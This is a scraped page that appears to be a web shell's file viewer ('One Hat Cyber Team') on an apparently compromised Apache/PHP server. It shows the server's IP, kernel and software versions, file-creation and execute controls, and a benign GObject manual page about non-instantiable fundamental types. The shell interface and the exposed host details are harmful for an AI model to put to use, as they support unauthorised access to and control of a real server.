⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.96
Server IP:
157.245.101.34
Server:
Linux skvinfotech-website 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
gtk-doc
/
html
/
gobject
/
View File Name :
gtype-non-instantiable.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Non-instantiable non-classed fundamental types: GObject Reference Manual</title> <meta name="generator" content="DocBook XSL Stylesheets V1.79.1"> <link rel="home" href="index.html" title="GObject Reference Manual"> <link rel="up" href="chapter-gtype.html" title="The GLib Dynamic Type System"> <link rel="prev" href="gtype-conventions.html" title="Conventions"> <link rel="next" href="gtype-instantiable-classed.html" title="Instantiable classed types: objects"> <meta name="generator" content="GTK-Doc V1.32 (XML mode)"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="5"><tr valign="middle"> <td width="100%" align="left" class="shortcuts"></td> <td><a accesskey="h" href="index.html"><img src="home.png" width="16" height="16" border="0" alt="Home"></a></td> <td><a accesskey="u" href="chapter-gtype.html"><img src="up.png" width="16" height="16" border="0" alt="Up"></a></td> <td><a accesskey="p" href="gtype-conventions.html"><img src="left.png" width="16" height="16" border="0" alt="Prev"></a></td> <td><a accesskey="n" href="gtype-instantiable-classed.html"><img src="right.png" width="16" height="16" border="0" alt="Next"></a></td> </tr></table> <div class="sect1"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="gtype-non-instantiable"></a>Non-instantiable non-classed fundamental types</h2></div></div></div> <p> A lot of types are not instantiable by the type system and do not have a class. Most of these types are fundamental trivial types such as <span class="emphasis"><em>gchar</em></span>, and are already registered by GLib. </p> <p> In the rare case of needing to register such a type in the type system, fill a <a class="link" href="gobject-Type-Information.html#GTypeInfo" title="struct GTypeInfo"><span class="type">GTypeInfo</span></a> structure with zeros since these types are also most of the time fundamental: </p> <div class="informalexample"> <table class="listing_frame" border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td class="listing_lines" align="right"><pre>1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24</pre></td> <td class="listing_code"><pre class="programlisting"><span class="n">GTypeInfo</span> <span class="n">info</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="cm">/* class_size */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* base_init */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* base_destroy */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* class_init */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* class_destroy */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* class_data */</span> <span class="mi">0</span><span class="p">,</span> <span class="cm">/* instance_size */</span> <span class="mi">0</span><span class="p">,</span> <span class="cm">/* n_preallocs */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* instance_init */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* value_table */</span> <span class="p">};</span> <span class="k">static</span> <span class="k">const</span> <span class="n">GTypeValueTable</span> <span class="n">value_table</span> <span class="o">=</span> <span class="p">{</span> <span class="n">value_init_long0</span><span class="p">,</span> <span class="cm">/* value_init */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* value_free */</span> <span class="n">value_copy_long0</span><span class="p">,</span> <span class="cm">/* value_copy */</span> <span class="nb">NULL</span><span class="p">,</span> <span class="cm">/* value_peek_pointer */</span> <span class="s">"i"</span><span class="p">,</span> <span class="cm">/* collect_format */</span> <span class="n">value_collect_int</span><span class="p">,</span> <span class="cm">/* collect_value */</span> <span class="s">"p"</span><span class="p">,</span> <span class="cm">/* lcopy_format */</span> <span class="n">value_lcopy_char</span><span class="p">,</span> <span class="cm">/* lcopy_value */</span> <span class="p">};</span> <span class="n">info</span><span class="p">.</span><span class="n">value_table</span> <span class="o">=</span> <span class="o">&</span><span class="n">value_table</span><span class="p">;</span> <span class="n">type</span> <span class="o">=</span> <span class="n">g_type_register_fundamental</span> <span class="p">(</span><span class="n">G_TYPE_CHAR</span><span class="p">,</span> <span class="s">"gchar"</span><span class="p">,</span> <span class="o">&</span><span class="n">info</span><span class="p">,</span> <span class="o">&</span><span class="n">finfo</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span></pre></td> </tr> </tbody> </table> </div> <p> </p> <p> Having non-instantiable types might seem a bit useless: what good is a type if you cannot instantiate an instance of that type ? Most of these types are used in conjunction with <a class="link" href="gobject-Generic-values.html#GValue"><span class="type">GValue</span></a>s: a GValue is initialized with an integer or a string and it is passed around by using the registered type's value_table. <a class="link" href="gobject-Generic-values.html#GValue"><span class="type">GValue</span></a>s (and by extension these trivial fundamental types) are most useful when used in conjunction with object properties and signals. </p> </div> <div class="footer"> <hr>Generated by GTK-Doc V1.32</div> </body> </html>